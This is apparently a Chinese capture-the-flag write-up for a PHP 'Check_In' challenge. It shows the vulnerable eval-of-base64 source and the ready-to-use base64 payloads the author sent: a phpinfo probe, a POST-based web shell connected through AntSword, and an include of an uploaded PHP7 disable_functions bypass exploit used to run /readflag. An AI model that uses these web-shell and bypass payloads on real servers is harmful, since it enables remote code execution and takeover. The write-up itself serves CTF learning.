题目复现地址
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
给了一个命令执行点,把命令
base64
编码一下即可执行,先构造一个phpinfo();
PS C:\Users\Administrator> php -r "echo base64_encode('phpinfo();');"
cGhwaW5mbygpOw==
查看phpinfo()
发现过滤了很多函数,猜测这题又是disable_functions bypass
先构造个
shell
,蚁剑连上去,
?Ginkgo=eval($_POST['m0c1nu7']);
,base64编码一下
?Ginkgo=ZXZhbCgkX1BPU1RbJ20wYzFudTcnXSk7
蚁剑shell设置里面Encoder
选择base64
猜测需要执行
/readflag
文件才能得到flag,接下来上传disable functions bypass
脚本突破执行命令即可,bypass脚本github有很多,自己找一下即可
这里贴一个bypass脚本地址:https:///mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
改一下执行命令即可
随便找一个能上传的路径,这里就在/tmp/
路径下上传bypass脚本shell.php
然后在命令执行点包含shell.php
即可获得flag
include('/tmp/shell.php');
base64编码之后得到:aW5jbHVkZSgnL3RtcC9zaGVsbC5waHAnKTs=